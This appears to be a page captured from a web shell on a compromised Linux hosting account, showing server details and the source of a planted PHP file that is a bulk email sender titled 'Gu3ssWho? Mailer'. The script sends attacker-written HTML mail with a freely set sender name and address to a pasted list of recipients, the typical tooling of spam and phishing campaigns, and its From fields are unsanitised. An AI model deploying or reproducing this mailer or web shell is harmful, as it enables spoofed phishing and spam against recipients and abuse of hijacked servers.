HEX
Server: Apache
System: Linux v2532718.hostpapavps.net 5.14.0-570.37.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 26 10:33:12 EDT 2025 x86_64
User: emiin2 (1016)
PHP: 8.1.34
Disabled: exec,passthru,shell_exec,system
Upload Files
File: //proc/thread-self/cwd/daszww.php
<?php
header('Content-Type: text/html; charset=UTF-8');
mb_internal_encoding("UTF-8");

$testa = $_POST['veio'] ?? '';

if ($testa != "") {

    $message  = $_POST['message'] ?? '';
    $subject  = $_POST['subject'] ?? '';
    $realname = $_POST['realname'] ?? '';
    $from     = $_POST['from'] ?? '';
    $to       = $_POST['emaillist'] ?? '';

    // === HEADERS CORRECT UTF-8 ===
    $headers  = "MIME-Version: 1.0\r\n";
    $headers .= "Content-type: text/html; charset=UTF-8\r\n";
    $headers .= "From: $realname <$from>\r\n";

    // === ENCODE LE SUJET POUR LES ACCENTS ===
    if (!empty($subject)) {
        $subject = "=?UTF-8?B?" . base64_encode($subject) . "?=";
    }

    $message = stripslashes($message);
    $email = preg_split("/\r\n|\n|\r/", trim($to));

    $i = 0;
    $count = 1;
    $ok = "";

    foreach ($email as $adresse) {
        $adresse = trim($adresse);
        if ($adresse == "") continue;

        if (mail($adresse, $subject, $message, $headers)) {
            echo "* Numéro: $count <b>$adresse</b> <font color='green'>OK</font><br><hr>";
            $ok = "ok";
        } else {
            echo "* Numéro: $count <b>$adresse</b> <font color='red'>ERREUR</font><br><hr>";
        }
        $count++;
    }

    if ($ok == "ok") {
        echo "<h3>✅ FINALIZO SUPERGERADOR</h3>";
    }
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Gu3ssWho? Mailer V1.0</title>
<meta charset="UTF-8">
<style>
body {
    margin: 0;
    font-family: Arial, Helvetica, sans-serif;
}
.titulo {
    font-size: 40px;
    font-weight: bold;
}
.normal { font-size: 12px; }
.form {
    font-size: 10px;
    background-color: #FFFFFF;
    border: 1px dashed #666666;
}
.texto {
    font-weight: bold;
}
.alerta {
    font-weight: bold;
    color: #990000;
    font-size: 10px;
}
</style>
</head>

<body>
<form action="" method="post" enctype="multipart/form-data">
<input type="hidden" name="veio" value="sim">

<table width="527" border="0" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC" class="normal">
<tr>
  <td align="center" bgcolor="#999999">
    <span class="titulo"># Gu3ssWho? #</span>
  </td>
</tr>

<tr>
<td bgcolor="#FFFFFF">
<table width="100%" cellpadding="5" class="normal">

<tr>
<td align="right"><span class="texto">De (E-Mail)/(Name) :</span></td>
<td>
<input name="from" class="form" style="width:49%" value="<?php echo htmlspecialchars($from ?? '', ENT_QUOTES, 'UTF-8'); ?>">
<input name="realname" class="form" style="width:48%" value="<?php echo htmlspecialchars($realname ?? '', ENT_QUOTES, 'UTF-8'); ?>">
</td>
</tr>

<tr>
<td align="right"><span class="texto">Sujet :</span></td>
<td>
<input name="subject" class="form" style="width:100%"
value="<?php echo htmlspecialchars($subject ?? '', ENT_QUOTES, 'UTF-8'); ?>">
</td>
</tr>

<tr align="center" bgcolor="#999999">
<td colspan="2"><span class="texto">Code HTML :</span></td>
</tr>

<tr>
<td colspan="2">
<textarea name="message" style="width:100%" rows="8" class="form"><?php echo htmlspecialchars($message ?? '', ENT_QUOTES, 'UTF-8'); ?></textarea>
<span class="alerta">* Lettre HTML</span>
</td>
</tr>

<tr align="center" bgcolor="#FFCC00">
<td colspan="2">
<span class="texto">Collez ici pour envoyer en Inbox</span><br>
Gu3ssWho? Mailer !! Version 1.0
</td>
</tr>

<tr>
<td colspan="2">
<textarea name="emaillist" style="width:100%" rows="8" class="form"><?php echo htmlspecialchars($to ?? '', ENT_QUOTES, 'UTF-8'); ?></textarea>
<span class="alerta">* Liste Emails (1 par ligne)</span>
</td>
</tr>

<tr>
<td colspan="2" align="right">
<input type="submit" value="Send eMails">
</td>
</tr>

</table>
</td>
</tr>
</table>

</form>
</body>
</html>